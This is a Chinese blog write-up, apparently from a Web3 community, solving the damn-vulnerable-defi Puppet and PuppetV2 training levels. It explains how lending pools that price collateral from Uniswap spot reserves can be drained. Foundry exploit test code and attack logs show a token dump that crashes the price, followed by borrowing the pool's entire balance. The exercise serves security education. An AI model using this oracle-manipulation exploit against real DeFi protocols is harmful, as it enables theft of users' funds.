damn-vulnerable-defi Puppet and puppetV2-题解

  • Lori
  • 更新于 2024-06-04 20:09
  • 阅读 1258

攻击类型:闪电贷价格操纵(瞬时价格) 难度值较低,可以通过这题来对价格操纵有个简单的了解~

题目链接:https://github.com/Chocolatieee0929/ContractSafetyStudy/tree/main/damn-vulnerable-defi/src/Contracts/puppet 攻击类型:闪电贷价格操纵(瞬时价格)

攻击目标

来源于 damn-vulnerable-defi/test/Levels/selfie/README.md


There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

# `PuppetPool.sol`
## 合约分析
该合约是借贷合约,我们主要关注其中的`borrow`函数,
function borrow(uint256 borrowAmount) public payable nonReentrant {
    // depositRequired 越小越好
    uint256 depositRequired = calculateDepositRequired(borrowAmount);

    if (msg.value < depositRequired) revert NotDepositingEnoughCollateral();

    if (msg.value > depositRequired) {
        payable(msg.sender).sendValue(msg.value - depositRequired);
    }

    deposits[msg.sender] = deposits[msg.sender] + depositRequired;

    // Fails if the pool doesn't have enough tokens in liquidity
    if (!token.transfer(msg.sender, borrowAmount)) revert TransferFailed();

    emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
这个函数允许用户通过质押ETH来借代币,
1. 计算所需存款depositRequired。
2. 检查发送的ETH是否足够。
3. 如果发送的ETH超过所需,退还多余的ETH。
4. 更新用户的存款记录。
5. 尝试从代币合约转移代币到用户地址并触发事件,如果失败则抛出TransferFailed错误。

我们不难想到,想要掏空借贷池需要等值的ETH,那ETH和token的价值是如何对应的呢?我们接着关注`calculateDepositRequired`,
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    return (amount * _computeOraclePrice() * 2) / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    // 瞬时价格预言机

-> return (uniswapPair.balance * (10 ** 18)) / token.balanceOf(uniswapPair); }

可以看到,这边是采取了uniswapv1pair eth-token的瞬时价格,不难想到,我们可以通过swap来进行影响池子里交易对的数量。

综上,我们通过分析合约,可以找到合约薄弱点如下:
1. 合约通过uniswapv1交易对的**瞬时价格**来计算质押要求,我们可以通过swap来影响价格,从而影响存款要求。

## 攻击思路
1. 将 eth/dvt 降低,通过swap 1000e18 dvt来操纵;
2. 将lending pool的钱通过借款掏空。

## PoC
完整的PoC在[这里](https://github.com/Chocolatieee0929/ContractSafetyStudy/tree/main/damn-vulnerable-defi/test/Levels/puppet)

function testExploit_Puppet() public { uint256 v1PairBalance = dvt.balanceOf(address(puppetPool)); console.log("v1PairBalance:", v1PairBalance);

    /* 
     * 1. 将 eth/dvt 降低,通过swap 9.9 eth,可以考虑将1000e18 dvt注入池子
     * 2. 将lending pool的钱通过借款借款 
     */
    emit log("-------------------------- before attack ---------------------------------");

    uint256 eth1 = calculateTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE);
    uint256 eth2 = calculateTokenToEthInputPrice(UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE);

    emit log_named_decimal_uint("getTokenToEthInputPrice", uniswapExchange.getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE), 18);
    emit log_named_decimal_uint("attacker use ATTACKER_INITIAL_TOKEN_BALANCE to swap eth1", eth1, 18);
    emit log_named_decimal_uint("attacker use UNISWAP_INITIAL_TOKEN_RESERVE to swap eth1", eth2, 18);

    uint256 shouldETH = puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
    emit log_named_decimal_uint("attacker should spend ETH amount", shouldETH, 18);
    emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

    emit log("-------------------------- after attack ---------------------------------");
    vm.startPrank(attacker);
    // 1. 将 eth/dvt 降低,通过swap 9.9 eth,可以考虑将1000e18 dvt注入池子
    dvt.approve(address(uniswapExchange), ATTACKER_INITIAL_TOKEN_BALANCE);
    uniswapExchange.tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE, 1, block.timestamp + 1 days);
    shouldETH = puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
    emit log_named_decimal_uint("attacker should spend ETH amount", shouldETH, 18);
    emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

    // 2. 将lending pool的钱通过借款借款 
    puppetPool.borrow{value: shouldETH}(POOL_INITIAL_TOKEN_BALANCE);
    vm.stopPrank();

    validation();
    console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}
下图是攻击成功输出的日志:

      🧨 Let's see if you can break it... 🧨
     v1PairBalance: 100000000000000000000000
     -------------------------- before attack ---------------------------------
     getTokenToEthInputPrice: 9.900695134061569016
     attacker use ATTACKER_INITIAL_TOKEN_BALANCE to swap eth1: 9.900695134061569016
     attacker use UNISWAP_INITIAL_TOKEN_RESERVE to swap eth1: 4.992488733099649474
     attacker should spend ETH amount: 200000.000000000000000000
     attacker actually hold ETH amount: 25.000000000000000000
     -------------------------- after attack ---------------------------------
     attacker should spend ETH amount: 19.664329888798200000
     attacker actually hold ETH amount: 34.900695134061569016

      🎉 Congratulations, you can go to the next level! 🎉

# `PuppetV2.sol`
## 合约分析
该合约是借贷合约, 与上边的是类似的,还是关注其中的`borrow`函数,
function borrow(uint256 borrowAmount) external {
    if (_token.balanceOf(address(this)) < borrowAmount) {
        revert NotEnoughTokenBalance();
    }

    // Calculate how much WETH the user must deposit
    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

    // Take the WETH
    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

    // internal accounting
    deposits[msg.sender] += depositOfWETHRequired;

    if (!_token.transfer(msg.sender, borrowAmount)) revert TransferFailed();

    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
与最初版本不同的地方在于使用WETH-token交易对,现在还是关注质押WETH数量是如何计算的,

// PuppetV2.sol function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { return (_getOracleQuote(tokenAmount) * 3) / 10 ** 18; }

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
    (uint256 reservesWETH, uint256 reservesToken) =
        // 获取交易对数量
        UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
    return UniswapV2Library.quote(amount * (10 ** 18), reservesToken, reservesWETH);
}

// UniswapV2Library.sol function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); amountB = (amountA * reserveB) / reserveA; }

同样的,质押物价值也是通过uniswapv2池子里交易对数量比值作为瞬时价格,突破点也是在这。与上边不同的地在于需要将eth置换成WETH。
## PoC
完整的题解在[这里](https://github.com/Chocolatieee0929/ContractSafetyStudy/tree/main/damn-vulnerable-defi/test/Levels/puppet-v2)
function testExploit_PuppetV2() public {
    emit log("-------------------------- before attack ---------------------------------");
    uint256 v2PairBalance = dvt.balanceOf(address(puppetV2Pool));
    emit log_named_decimal_uint("v2PairBalance:", v2PairBalance, 18);
    emit log_named_decimal_uint("attacker should eth to brrow", puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 18);

    emit log("-------------------------- after attack ---------------------------------");
    vm.startPrank(attacker);
    weth.deposit{value: ATTACKER_INITIAL_ETH_BALANCE}();

    uint256 swapOutETH = uniswapV2Router.getAmountOut(ATTACKER_INITIAL_TOKEN_BALANCE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_WETH_RESERVE);
    emit log_named_decimal_uint("attacker could swap out ETH", swapOutETH, 18);

    dvt.transfer(address(uniswapV2Pair), ATTACKER_INITIAL_TOKEN_BALANCE);
    if (address(dvt) < address(weth)){
        uniswapV2Pair.swap(0, swapOutETH, address(attacker), "");
    }
    else{
        uniswapV2Pair.swap(swapOutETH, 0, address(attacker), "");
    }

    uint256 shouldETH = puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
    emit log_named_decimal_uint("attacker should ETH", shouldETH, 18);
    emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

    weth.approve(address(puppetV2Pool), shouldETH);
    puppetV2Pool.borrow(POOL_INITIAL_TOKEN_BALANCE);

    vm.stopPrank();

    validation();
    console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}

下图是攻击成功输出的日志:

    [PASS] testExploit_PuppetV2() (gas: 205882)
      Logs:
        🧨 Let's see if you can break it... 🧨
        -------------------------- before attack ---------------------------------
        v2PairBalance:: 1000000.000000000000000000
        attacker should eth to brrow: 300000.000000000000000000
        -------------------------- after attack ---------------------------------
        attacker could swap out ETH: 9.900695134061569016
        attacker should ETH: 29.496494833197321980
        attacker actually hold ETH amount: 0.000000000000000000

      🎉 Congratulations, you can go to the next level! 🎉
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
最近有点儿小忙,更新不频繁~